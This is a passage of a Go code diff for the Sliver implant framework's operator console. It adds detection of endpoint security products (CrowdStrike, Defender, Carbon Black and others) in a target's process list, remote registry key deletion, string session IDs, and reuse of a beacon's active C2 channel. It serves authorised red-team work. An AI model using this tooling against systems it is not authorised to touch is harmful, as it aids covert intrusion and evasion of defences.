@@ -99,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -35,14 +35,17 @@ import (
|
||||
|
||||
var (
|
||||
// Stylizes known processes in the `ps` command
|
||||
knownSecurityTools = map[string]string{
|
||||
"ccSvcHst.exe": console.Red, // SEP
|
||||
"cb.exe": console.Red, // Carbon Black
|
||||
"MsMpEng.exe": console.Red, // Windows Defender
|
||||
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
|
||||
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdagent.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
knownSecurityTools = map[string][]string{
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
}
|
||||
)
|
||||
|
||||
@@ -68,10 +71,20 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
PrintPS(os, ps, false, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(ps.Response)
|
||||
} else {
|
||||
PrintPS(os, ps, true, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -86,7 +99,6 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
|
||||
// PrintPS - Prints the process list
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
pidFilter := ctx.Flags.Int("pid")
|
||||
exeFilter := ctx.Flags.String("exe")
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
@@ -118,23 +130,36 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
|
||||
continue
|
||||
}
|
||||
procRow(tw, proc, cmdLine, con)
|
||||
row := procRow(tw, proc, cmdLine, con)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "pid", Mode: table.Asc},
|
||||
{Name: "ppid", Mode: table.Asc},
|
||||
})
|
||||
|
||||
if !interactive {
|
||||
overflow = true
|
||||
}
|
||||
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
|
||||
}
|
||||
|
||||
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
products := []string{}
|
||||
for _, proc := range ps.Processes {
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
products = append(products, secTool[1])
|
||||
}
|
||||
}
|
||||
return products
|
||||
}
|
||||
|
||||
// procRow - Stylizes the process information
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
|
||||
color := console.Normal
|
||||
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = modifyColor
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
}
|
||||
if session != nil && proc.Pid == session.PID {
|
||||
color = console.Green
|
||||
@@ -196,7 +221,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
return row
|
||||
}
|
||||
|
||||
// GetPIDByName - Get a PID by name from the active session
|
||||
|
||||
@@ -95,7 +95,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCreateKey - Print the results of the crate key command
|
||||
// PrintCreateKey - Print the results of the create key command
|
||||
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if createKey.Response != nil && createKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", createKey.Response.Err)
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
package registry
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RegDeleteKeyCmd - Remove a Windows registry key
|
||||
func RegDeleteKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Registry operations can only target Windows\n")
|
||||
return
|
||||
}
|
||||
|
||||
hostname := ctx.Flags.String("hostname")
|
||||
hive := ctx.Flags.String("hive")
|
||||
if err := checkHive(hive); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
regPath := ctx.Args.String("registry-path")
|
||||
if regPath == "" {
|
||||
con.PrintErrorf("You must provide a path\n")
|
||||
return
|
||||
}
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
|
||||
deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
|
||||
Hive: hive,
|
||||
Path: finalPath,
|
||||
Key: key,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if deleteKey.Response != nil && deleteKey.Response.Async {
|
||||
con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, deleteKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
})
|
||||
con.PrintAsyncResponse(deleteKey.Response)
|
||||
} else {
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintDeleteKey - Print the results of the delete key command
|
||||
func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if deleteKey.Response != nil && deleteKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", deleteKey.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Key removed at %s\\%s", regPath, key)
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package sessions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CloseSessionCmd - Close an interactive session but do not kill the remote process
|
||||
func CloseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// Get the active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
con.PrintErrorf("No active session\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Close the session
|
||||
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
|
||||
}
|
||||
@@ -50,29 +50,29 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
return nil, ErrNoSessions
|
||||
}
|
||||
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []int
|
||||
var keys []string
|
||||
for _, session := range sessions.Sessions {
|
||||
keys = append(keys, int(session.ID))
|
||||
keys = append(keys, session.ID)
|
||||
}
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
session := sessionsMap[uint32(key)]
|
||||
session := sessionsMap[key]
|
||||
if onlyAlive && session.IsDead {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
@@ -98,7 +98,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
// Go from the selected option -> index -> session
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return sessionsMap[uint32(keys[index])], nil
|
||||
return sessionsMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
|
||||
@@ -20,6 +20,7 @@ package sessions
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
@@ -42,6 +43,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
// Parse C2 Flags
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
@@ -86,9 +88,61 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
// No flags, parse the current beacon's ActiveC2 instead
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return
|
||||
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
|
||||
c2url, err := url.Parse(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
switch c2url.Scheme {
|
||||
case "mtls":
|
||||
mtlsC2, err = generate.ParseMTLSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
case "wg":
|
||||
wgC2, err = generate.ParseWGc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
case "http":
|
||||
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
case "dns":
|
||||
dnsC2, err = generate.ParseDNSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
case "namedpipe":
|
||||
namedPipeC2, err = generate.ParseNamedPipec2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
case "tcppivot":
|
||||
tcpPivotC2, err = generate.ParseTCPPivotc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
default:
|
||||
con.PrintErrorf("Unsupported C2 scheme: %s\n", c2url.Scheme)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
openSession := &sliverpb.OpenSession{
|
||||
|
||||
@@ -40,7 +40,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.IsDead {
|
||||
con.Printf("Pruning session #%d ...", session.ID)
|
||||
con.Printf("Pruning session %s ... ", session.ID)
|
||||
err = kill.KillSession(session, true, con)
|
||||
if err != nil {
|
||||
con.Printf("failed!\n")
|
||||
|
||||
@@ -21,6 +21,7 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
@@ -90,12 +91,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.GetSession(interact)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, ShortSessionID(session.ID))
|
||||
} else {
|
||||
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
|
||||
}
|
||||
} else {
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
@@ -108,7 +109,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// PrintSessions - Print the current sessions
|
||||
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
@@ -122,6 +123,9 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, session := range sessions {
|
||||
color := console.Normal
|
||||
@@ -139,7 +143,7 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
burned = "🔥"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
@@ -150,9 +154,11 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
burned + SessionHealth,
|
||||
})
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// ShortSessionID - Shorten the session ID
|
||||
func ShortSessionID(id string) string {
|
||||
return strings.Split(id, "-")[0]
|
||||
}
|
||||
@@ -559,6 +559,21 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
|
||||
|
||||
case sliverpb.MsgRegistryDeleteKeyReq:
|
||||
deleteKeyReq := &sliverpb.RegistryDeleteKeyReq{}
|
||||
err := proto.Unmarshal(task.Request, deleteKeyReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
deleteKey := &sliverpb.RegistryDeleteKey{}
|
||||
err = proto.Unmarshal(task.Response, deleteKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
registry.PrintDeleteKey(deleteKey, deleteKeyReq.Path, deleteKeyReq.Key, con)
|
||||
|
||||
case sliverpb.MsgRegistryListValuesReq:
|
||||
listValuesReq := &sliverpb.RegistryListValuesReq{}
|
||||
err := proto.Unmarshal(task.Request, listValuesReq)
|
||||
|
||||
@@ -29,7 +29,7 @@ func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, err := sessions.SelectSession(false, con)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
|
||||
} else if err != nil {
|
||||
switch err {
|
||||
case sessions.ErrNoSessions:
|
||||
|
||||
+16
-16
@@ -24,7 +24,6 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
@@ -56,7 +55,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
|
||||
} else if beacon != nil {
|
||||
con.ActiveTarget.Set(nil, beacon)
|
||||
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
|
||||
@@ -69,10 +68,9 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
idNumber, err := strconv.Atoi(id)
|
||||
if err == nil {
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.ID == uint32(idNumber) {
|
||||
if session.ID == id {
|
||||
return session, nil, nil
|
||||
}
|
||||
}
|
||||
@@ -96,15 +94,15 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
var sessionKeys []int
|
||||
var sessionKeys []string
|
||||
for _, session := range sessions.Sessions {
|
||||
sessionKeys = append(sessionKeys, int(session.ID))
|
||||
sessionKeys = append(sessionKeys, session.ID)
|
||||
}
|
||||
sort.Ints(sessionKeys)
|
||||
sort.Strings(sessionKeys)
|
||||
|
||||
// Get and sort beacons
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
@@ -122,7 +120,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
sort.Strings(beaconKeys)
|
||||
|
||||
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
|
||||
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
|
||||
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
|
||||
}
|
||||
|
||||
// Render selection table
|
||||
@@ -130,9 +128,10 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
for _, key := range sessionKeys {
|
||||
session := sessionsMap[uint32(key)]
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session := sessionsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"SESSION",
|
||||
strings.Split(session.ID, "-")[0],
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
session.Hostname,
|
||||
@@ -142,7 +141,8 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
}
|
||||
for _, key := range beaconKeys {
|
||||
beacon := beaconsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"BEACON",
|
||||
strings.Split(beacon.ID, "-")[0],
|
||||
beacon.Name,
|
||||
beacon.RemoteAddress,
|
||||
@@ -167,7 +167,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
if index < len(sessionKeys) {
|
||||
return sessionsMap[uint32(sessionKeys[index])], nil, nil
|
||||
return sessionsMap[sessionKeys[index]], nil, nil
|
||||
}
|
||||
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
|
||||
}
|
||||
@@ -182,9 +182,9 @@ func BeaconAndSessionIDCompleter(prefix string, args []string, con *console.Sliv
|
||||
return
|
||||
}
|
||||
for _, s := range sessions.Sessions {
|
||||
sid := fmt.Sprintf("%d", s.ID)
|
||||
sid := s.ID
|
||||
if strings.HasPrefix(sid, prefix) {
|
||||
results = append(results, fmt.Sprintf("%d", s.ID))
|
||||
results = append(results, s.ID)
|
||||
}
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
|
||||
+18
-14
@@ -31,6 +31,7 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
@@ -41,13 +42,10 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"time"
|
||||
|
||||
"github.com/desertbit/go-shlex"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/fatih/color"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -167,7 +165,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
|
||||
}
|
||||
|
||||
case consts.WatchtowerEvent:
|
||||
@@ -175,7 +174,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
|
||||
}
|
||||
|
||||
case consts.JoinedEvent:
|
||||
@@ -190,8 +190,9 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
@@ -204,12 +205,15 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
|
||||
|
||||
case consts.SessionClosedEvent:
|
||||
session := event.Session
|
||||
con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
@@ -229,7 +233,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
proto.Unmarshal(event.Data, beacon)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(beacon.ID, "-")[0]
|
||||
con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
|
||||
